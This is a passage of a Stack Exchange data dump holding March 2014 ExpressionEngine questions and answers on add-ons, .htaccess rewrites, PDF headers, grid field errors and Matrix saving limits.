LastActivityDate="2014-03-05T13:42:03.230" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20003" PostTypeId="2" ParentId="19995" CreationDate="2014-03-05T13:49:20.380" Score="2" Body="&lt;h1&gt;Recently Viewed Products&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware neither platform does this directly, but because both store product information in ExpressionEngine channels you could use a plugin such as &lt;a href=&quot;http://devot-ee.com/add-ons/recently-viewed-entries&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/recently-viewed-entries&lt;/a&gt; to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Product search filter &amp;amp; Powerful site search for searching content as well as products again with filters&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You'd probably have better luck with something like Super Search or Low Search using categories to filter products.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Request a quote&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Exp:resso Store v1 had a quotation add-on (&lt;a href=&quot;http://devot-ee.com/add-ons/store-quotations&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/store-quotations&lt;/a&gt;) but it's been discontinued.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think you might struggle to pull this off elegantly in the basket and sounds like it could be a complicated user experience. Could it be simplifed so if they press  &quot;add to basket&quot; on a product that needs a quotation they fill out the form on that page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so you could set a field in the product channel (maybe a P&amp;amp;T Switch) that lets you display either an &quot;add to cart&quot; button or a &quot;request a quotation&quot; button as appropriate.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Provide category gallery or list view with sortable column headers&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This is more of a UI issue than an add-on one. You could use URL Segments or cookies to remember the user's preferred sorting options and use if statements or Switchee to modify how the product category pages look. Either platform will be fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The last time I used CartThrob is was a bit of pain to do sorting because of how they stored data. Exp:resso Store have a really nice search tag that makes this really easy: &lt;a href=&quot;https://exp-resso.com/docs/search_tag.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/search_tag.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;PDF Datasheet&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This could be created on either platform by having a template that generates the datasheet in HTML and then use something like &lt;a href=&quot;http://devot-ee.com/add-ons/shine-pdf&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/shine-pdf&lt;/a&gt; to convert it into a PDF.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-05T13:49:20.380" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20004" PostTypeId="1" CreationDate="2014-03-05T13:49:28.913" Score="0" ViewCount="217" Body="&lt;p&gt;We had been developing a site on a temp URL with Media Temple and on Friday we launched live. We gave the IP to the client and they set the A record. Once the A record was set we cannot use the search feature. According to the search logs the last successful search was 15 minutes before site IP went to client for the A record. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far we have stripped out and added back everything in the htaccess, we have tried Low Search addon, we have made test pages and tested the code piece by piece and nothing has worked. We checked all of the settings internally as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else had this issue? It was working fine until the A record was set. I am open to suggestions :)&lt;/p&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2014-07-06T04:37:02.753" Title="Simple Search: search form redirects to home page" Tags="|search|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="20005" PostTypeId="1" CreationDate="2014-03-05T14:11:52.963" Score="1" ViewCount="189" Body="&lt;p&gt;There are some channels in my table that will give different data which will vary with different countries.&#xA;I want to detect it at the very begining.I did see some free pulgins but are very complicated to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont want to store users ip.Just want to detect their country?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anybody help ?&lt;/p&gt;&#xA;" OwnerDisplayName="user2133" LastActivityDate="2014-03-05T16:12:00.837" Title="Detect user is coming from which country?" Tags="|ee2|module|plugin|ip|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20006" PostTypeId="1" AcceptedAnswerId="32141" CreationDate="2014-03-05T14:30:45.350" Score="2" ViewCount="383" Body="&lt;p&gt;I'm using EE 2.7.3 and I'm getting the following error when trying to create or edit a field: Unable to load the requested file: col_settings_tmpl.php .  It seems to be related  to the grid field type, disabling it as suggested elsewhere is not really an option as it's used throughout the site.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site works correctly when I set it up locally, but I get the above error when I move it to the live server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks, &lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2020-10-16T12:50:35.933" Title="Error when try to add new field: col_settings_tmpl.php" Tags="|grid|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="20007" PostTypeId="2" ParentId="19960" CreationDate="2014-03-05T15:31:00.407" Score="1" Body="&lt;p&gt;Are you using Ce Cache? If your cache is delivering pre-rendered flat content then your channel entries tags are going to get bypassed, and your count won't increment. If you check your viewcount, empty the cache and request that page again does your count increment?&lt;/p&gt;&#xA;" OwnerUserId="871" LastActivityDate="2014-03-05T15:31:00.407" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20008" PostTypeId="2" ParentId="20005" CreationDate="2014-03-05T16:12:00.837" Score="1" Body="&lt;p&gt;EE have native &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/add-ons/ip_to_nation/&quot; rel=&quot;nofollow&quot;&gt;IP 2 nation module&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-03-05T16:12:00.837" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20009" PostTypeId="1" AcceptedAnswerId="20034" CreationDate="2014-03-05T16:23:58.897" Score="0" ViewCount="80" Body="&lt;p&gt;I need to get the IDs of particular segments in the URL, shown in bold (i.e. segments 2, 3 and 4):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/grid/&lt;strong&gt;strategic/corporate/uk&lt;/strong&gt;/jim/tweets&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They could also look like this (i.e. no category has been set):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/grid/&lt;strong&gt;-/-/-&lt;/strong&gt;/jim/tweets&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm assuming I would need a regex pattern match to do this and then use the {segment_category_ids} tag to pull them out in a list such as 37&amp;amp;342.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not entirely sure how I should go about writing that for the settings though. I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;^/[a-z-_0-9]*/[a-z-_0-9]*/[a-z-_0-9]*/[a-z-_0-9]*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works OK in a regexp checker but the I find that the tag {segment_category_ids} doesn't get rendered in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I be providing this in the settings?&lt;/p&gt;&#xA;" OwnerUserId="506" LastActivityDate="2014-03-06T08:40:18.920" Title="Using pattern matching in Low Seg2Cat" Tags="|low-seg2cat|regular-expressions|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20010" PostTypeId="2" ParentId="20009" CreationDate="2014-03-05T16:55:29.337" Score="0" Body="&lt;p&gt;With LowSeg2 Cat could you do...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2!=&quot;-&quot;}{segment_2_category_id}&amp;amp;{/if}&#xA;{if segment_3!=&quot;-&quot;}{segment_3_category_id}&amp;amp;{/if}&#xA;{if segment_4!=&quot;-&quot;}{segment_4_category_id}{/if} {!-- No &amp;amp; here because it's the last segment --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should do the job.&lt;/p&gt;&#xA;" OwnerUserId="96" LastActivityDate="2014-03-05T16:55:29.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20011" PostTypeId="1" AcceptedAnswerId="20013" CreationDate="2014-03-05T17:59:41.207" Score="0" ViewCount="3416" Body="&lt;p&gt;I have working PDF Press generator which uses save_to_pdf method because I need to have a name of generated PDF based on an entry title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on DOMPDF FAQ &lt;a href=&quot;https://code.google.com/p/dompdf/wiki/FAQ&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/dompdf/wiki/FAQ&lt;/a&gt; I can add footer/header image to generated PDF, but I'm stuck on which PDF Press file do I need to edit to have accomplish that part?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-05T19:49:35.790" Title="PDF Press and generated PDF header/footer part" Tags="|add-on|pdf-press|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20012" PostTypeId="1" CreationDate="2014-03-05T19:07:53.803" Score="0" ViewCount="99" Body="&lt;p&gt;There are many add-ons available on the market, but their taget is too high for my needs. I have about three hundred members present, and voorei offer payment services through membership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wondering if there is a solution that is less costly and difficult to implement extensions as carthrob.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was considering the form paypal, and I cheidevo if you can implement this with a mebership.&lt;/p&gt;&#xA;" OwnerUserId="2816" LastEditorUserId="2829" LastEditDate="2014-03-09T20:33:38.583" LastActivityDate="2014-03-09T20:33:38.583" Title="How build membership site with EE?" Tags="|members|" AnswerCount="1" CommentCount="3" ClosedDate="2014-03-06T01:20:46.353" ContentLicense="CC BY-SA 3.0" />
  <row Id="20013" PostTypeId="2" ParentId="20011" CreationDate="2014-03-05T19:49:35.790" Score="1" Body="&lt;p&gt;After couple back and forth with the add-on developer (more here: &lt;a href=&quot;http://devot-ee.com/add-ons/support/pdf-press/viewthread/12738&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/support/pdf-press/viewthread/12738&lt;/a&gt;) I have got accomplished the goal using a CSS trick from here &lt;a href=&quot;http://eclecticgeek.com/dompdf/debug.php?identifier=b264f350e6967875987e14faa0c751f0&quot; rel=&quot;nofollow&quot;&gt;http://eclecticgeek.com/dompdf/debug.php?identifier=b264f350e6967875987e14faa0c751f0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;  &amp;lt;style&amp;gt;&#xA;    @page { margin: 180px 50px; }&#xA;    #header { position: fixed; left: 0px; top: -180px; right: 0px; height: 150px; background-color: orange; text-align: center; }&#xA;    #footer { position: fixed; left: 0px; bottom: -180px; right: 0px; height: 150px; background-color: lightblue; }&#xA;    #footer .page:after { content: counter(page, upper-roman); }&#xA;  &amp;lt;/style&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;  &amp;lt;div id=&quot;header&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;Widgets Express&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;footer&quot;&amp;gt;&#xA;    &amp;lt;p class=&quot;page&quot;&amp;gt;Page &amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;  &amp;lt;div id=&quot;content&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;the first page&amp;lt;/p&amp;gt;&#xA;    &amp;lt;p style=&quot;page-break-before: always;&quot;&amp;gt;the second page&amp;lt;/p&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-05T19:49:35.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20014" PostTypeId="2" ParentId="19975" CreationDate="2014-03-05T19:52:01.533" Score="1" Body="&lt;p&gt;Based on the add-on developer response:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I think you might have to switch to a static CSS file or inline css in&#xA;  order for the stylesheet to be parsed by PDF Press.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Inline CSS works fine.&lt;/p&gt;&#xA;" OwnerUserId="1577" LastActivityDate="2014-03-05T19:52:01.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20015" PostTypeId="1" CreationDate="2014-03-05T20:00:35.593" Score="0" ViewCount="333" Body="&lt;p&gt;I've got a grid field with a text column (amount) and a relationship column (product). The data is outputted perfectly but I'm getting lots of php errors on the page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Notice&#xA;Message: Undefined offset: 18&#xA;Filename: relationship_parser/Tree_builder.php&#xA;Line Number: 536&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: libraries/Functions.php&#xA;Line Number: 810&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /Applications/MAMP/htdocs/system/codeigniter/system/core/Exceptions.php:170)&#xA;Filename: core/Common.php&#xA;Line Number: 412&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;my template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{bt-pack-contents}&#xA;    &amp;lt;li&amp;gt;{bt-pack-contents:amount} {bt-pack-contents:product:title}&amp;lt;/li&amp;gt;&#xA;{/bt-pack-contents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this also works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{bt-pack-contents}&#xA;    &amp;lt;li&amp;gt;{bt-pack-contents:amount} {bt-pack-contents:product}{bt-pack-contents:product:title}{/bt-pack-contents:product}&amp;lt;/li&amp;gt;&#xA;{/bt-pack-contents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As soon as I remove the {bt-pack-contents:product:title} tag all errors are gone. Any thoughts on what might be going wrong?&lt;/p&gt;&#xA;" OwnerUserId="2003" LastActivityDate="2014-03-05T20:00:35.593" Title="relationship inside grid field works but throws errors" Tags="|relationships|grid|php-errors|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20016" PostTypeId="1" CreationDate="2014-03-05T20:03:54.860" Score="1" ViewCount="57" Body="&lt;p&gt;Looking through the CT Wishlist add-on docs it doesn't say how to email a wishlists contents to another person or email address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Docs link: &lt;a href=&quot;http://cartthrob.com/docs/docs_wish-list/#sample-user-flow&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/docs_wish-list/#sample-user-flow&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use it for an 'add to quote' feature where certain products (which are not simple products to price) are added to a customers wishlist before they are sent over (via email) to the site owners ready for them to quote by emailing the customer directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says in the docs that it can be done but not how to do it. Can someone please let me know this is definitely possible before purchasing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1339" LastActivityDate="2014-03-05T20:03:54.860" Title="How do you send CartThrob Wishlist contents via email?" Tags="|add-on|cartthrob|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20017" PostTypeId="2" ParentId="20004" CreationDate="2014-03-05T21:11:55.710" Score="1" Body="&lt;p&gt;Solved: The problem was with the host name in the server set up. The entire site was set up incorrectly from a server level. We moved the site and it works. Thanks to everyone who added anything here. Much appreciation.&lt;/p&gt;&#xA;" OwnerUserId="2366" LastActivityDate="2014-03-05T21:11:55.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20018" PostTypeId="1" AcceptedAnswerId="20030" CreationDate="2014-03-05T22:10:43.340" Score="1" ViewCount="49" Body="&lt;p&gt;We have a custom module which has successfully used the &lt;code&gt;update&lt;/code&gt; method in &lt;code&gt;upd.addon-name.php&lt;/code&gt; to apply database changes. We are attempting to use it again for another version update (from 1.4.0 to 1.5.0). This time however, ExpressionEngine says it successfully runs the module update (no error is thrown), but fails to update the version number in &lt;code&gt;exp_modules&lt;/code&gt;. It does this whether or not you update via the &quot;run module updates&quot; button or by visiting the settings for the add-on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This leads to an attempt to run the upgrade again whenever you visit the settings page for the module, which throws mysql errors complaining about duplicate columns (because it already added them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone ever encountered this before? Is it safe to update the version in that table ourselves in the update function as a workaround?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should mention this has occurred on ExpressionEngine version 2.7.3 on two separate installations. &lt;/p&gt;&#xA;" OwnerUserId="955" LastActivityDate="2014-03-06T01:24:51.680" Title="Stored module version number fails to update after upgrade successfully runs" Tags="|add-on-development|module|2.7.3|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20019" PostTypeId="1" CreationDate="2014-03-05T22:23:08.467" Score="1" ViewCount="207" Body="&lt;p&gt;Has anyone had any luck combining the new .htaccess rules for removing index.php with a rule to add (or remove) the www string? Previously, we would use the following: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteEngine On&#xA;&#xA;    RewriteCond %{HTTP_HOST} ^example\.com$&#xA;    RewriteRule (.*) http://www.example.com/$1 [L,R=301]&#xA;&#xA;   # Removes index.php&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the new suggested code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteEngine On&#xA;    RewriteBase /&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...is throwing all kinds of errors for me when combined with the www rule set: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    RewriteCond %{HTTP_HOST} ^example\.com$&#xA;    RewriteRule (.*) http://www.example.com/$1 [L,R=301]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="756" LastEditorUserId="-1" LastEditDate="2018-04-24T16:08:45.810" LastActivityDate="2018-04-24T16:08:45.810" Title="Modifying .htaccess to include or remove" Tags="|htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20020" PostTypeId="1" AcceptedAnswerId="20027" CreationDate="2014-03-05T22:58:48.303" Score="1" ViewCount="44" Body="&lt;p&gt;I have created a couple of custom Member Groups. Now, I want to test sending an email to them. However, when I go to Tools -&gt; Communicate, I do not see my custom Member Groups listed under the &quot;Send to Member Groups&quot; section. I only see Super Admins and Members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add my custom Member Groups to the &quot;Send to Member Groups&quot; section?&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2014-03-06T00:49:29.163" Title="&quot;Send to Member Groups&quot; not listing all Member Groups" Tags="|members|email|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20021" PostTypeId="2" ParentId="20019" CreationDate="2014-03-05T23:57:53.900" Score="1" Body="&lt;p&gt;I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# ----------------------------------------------------------------------&#xA;&#xA;# Option 1:&#xA;# Rewrite &quot;www.domain.com -&amp;gt; domain.com&quot; &#xA;&#xA;&#xA;  RewriteCond %{HTTPS} !=on&#xA;  RewriteCond %{HTTP_HOST} ^www\.(.+)$ [NC]&#xA;  RewriteRule ^(.*)$ http://%1/$1 [R=301,L]&#xA;&#xA;&#xA;# &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I ever used the Ellislab suggested code to remove index.php, it doesn't work fine on the Apache server where Expression Engine is installed. Using  the addon htaccess Maker it's working fine, nice performance: &#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/htaccess-maker&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/htaccess-maker&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="-1" LastEditDate="2018-04-23T01:42:37.533" LastActivityDate="2018-04-23T01:42:37.533" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20022" PostTypeId="2" ParentId="19795" CreationDate="2014-03-06T00:02:59.143" Score="1" Body="&lt;p&gt;This is a fairly common problem in EE sites, and I haven't seen an elegant way to solve it yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It stems from the fact that EE doesn't have any sort of notion of a &quot;primary&quot; category for each entry. So if you want to use categories in the URL, or display breadcrumbs for each entry, you need to either have the entry sit under two different URLs, or remove the categories from the URL altogether.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If SEO is your primary concern, then one possible solution is to make each product under a master URL (say &lt;code&gt;/products/show/product-url-title&lt;/code&gt;) and also under category URLs (&lt;code&gt;/products/categories/books/product-url-title&lt;/code&gt;). You can then put a &lt;a href=&quot;https://support.google.com/webmasters/answer/139394?hl=en&quot; rel=&quot;nofollow&quot;&gt;canonical link&lt;/a&gt; in your page header to ensure only one version appears in search results.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-06T00:02:59.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20023" PostTypeId="2" ParentId="19955" CreationDate="2014-03-06T00:19:47.953" Score="2" Body="&lt;p&gt;Your second idea is correct. Since your shipping prices are fixed, you only need to have one &quot;shipping method&quot;, and it can be preselected for all carts by default.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside the shipping method, you can add different rates for each country, and these will automatically be applied based on the shipping address of each order.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-06T00:19:47.953" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20024" PostTypeId="1" CreationDate="2014-03-06T00:22:51.993" Score="2" ViewCount="81" Body="&lt;p&gt;My matrix does not save its data anymore. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use matrix for a table of persons that hold a certain certificate. four textfields and one date field. I want to add 300 people, but I am at row 165 now, and matrix won't save the last name of this person, so right in the middle of a row, on a regular text field, nothing more can be saved. The save seems to go through, but when you click 'edit this entry' the newly entered data is gone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another strange thing is the date field now uses another data format to display the date; suddenly the times have an AM/PM notation where before they used the 24h clock. But the issue is not limited to the d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Data entry was handled by the client and they have twice entered all 300 names by hand - only to find them lost them when reopening the entry. The site needs to go live, but I cannot get all the data in the field… &lt;/p&gt;&#xA;&#xA;&lt;p&gt;System setup:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE 2.7.2&lt;/li&gt;&#xA;&lt;li&gt;Matrix 2.5.10&lt;/li&gt;&#xA;&lt;li&gt;mysql 4.1.6&lt;/li&gt;&#xA;&lt;li&gt;php 5.4.4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2404" LastActivityDate="2014-03-06T01:27:09.953" Title="Matrix does not save rows above 165" Tags="|matrix|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20025" PostTypeId="2" ParentId="19871" CreationDate="2014-03-06T00:25:05.800" Score="2" Body="&lt;p&gt;Per Ian's advice in the comments, I highly recommend using &lt;a href=&quot;http://sendgrid.com/&quot; rel=&quot;nofollow&quot;&gt;Sendgrid&lt;/a&gt; or a similar service for sending email. Sending email directly from your own server is highly unreliable, and likely to get caught in a spam filter or even outright blocked in this day and age. Sendgrid is free for up to 200 emails per day, so there is really no reason not to use it.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-06T00:25:05.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20026" PostTypeId="2" ParentId="19852" CreationDate="2014-03-06T00:30:29.350" Score="1" Body="&lt;p&gt;There isn't really enough information in your question to diagnose what might be wrong, but if it's working fine in your development environment, then the only explanation is a difference between your development and production environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This might sound silly, but the first thing I would check is that your production website does in fact have the extension uploaded correctly, and that database does in fact have the extension enabled (and that you don't have your production website talking to your test database or vice versa).&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-06T00:30:29.350" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20027" PostTypeId="2" ParentId="20020" CreationDate="2014-03-06T00:49:29.163" Score="2" Body="&lt;p&gt;Each member group has its own permissions setting for this. When you edit member group preferences you'll see an option that says something like &quot;show this group in communicate groups list&quot; or something to that effect. Make sure that's checked for each group you want to show up there and you should be all good.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-06T00:49:29.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20028" PostTypeId="2" ParentId="19724" CreationDate="2014-03-06T00:49:59.887" Score="3" Body="&lt;p&gt;It looks like there is a problem with the logic in your extension. You don't want to change the name of a particular status when the order is complete - you want to change the status of the order. I would expect it to look something more like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function store_order_complete_end($order)&#xA;{&#xA;    if (ee()-&amp;gt;session-&amp;gt;userdata('group_id') == 10)  &#xA;    {&#xA;        $status = Store\Model\Status::where('name', 'Commercial')-&amp;gt;first();&#xA;    }&#xA;    else&#xA;    {&#xA;        $status = Store\Model\Status::where('name', 'General')-&amp;gt;first();&#xA;    }        &#xA;&#xA;    $order-&amp;gt;updateStatus($status);    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-06T00:49:59.887" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20029" PostTypeId="2" ParentId="20012" CreationDate="2014-03-06T00:51:49.607" Score="1" Body="&lt;p&gt;For selling membership through PayPal I think this would be your best option: &lt;a href=&quot;http://www.membrr.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.membrr.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use it on my site to sell paid premium membership and it works great.&lt;/p&gt;&#xA;" OwnerUserId="982" LastActivityDate="2014-03-06T00:51:49.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20030" PostTypeId="2" ParentId="20018" CreationDate="2014-03-06T01:24:51.680" Score="1" Body="&lt;p&gt;What code do you have in your &lt;code&gt;update()&lt;/code&gt; method? I believe you need to &lt;code&gt;return true&lt;/code&gt; from the update method for the database table to be updated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, in Store we simply update the &lt;code&gt;exp_modules&lt;/code&gt; table manually (since from memory you have to do this for extensions anyway), so there's certainly no problem just doing this yourself.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2014-03-06T01:24:51.680" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20031" PostTypeId="2" ParentId="20024" CreationDate="2014-03-06T01:27:09.953" Score="1" Body="&lt;p&gt;This is usually caused by the PHP Suhosin patch limiting the number of POST variables which may be submitted on a single page. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;https://expressionengine.stackexchange.com/a/15290/150&quot;&gt;https://expressionengine.stackexchange.com/a/15290/150&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-03-06T01:27:09.953" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
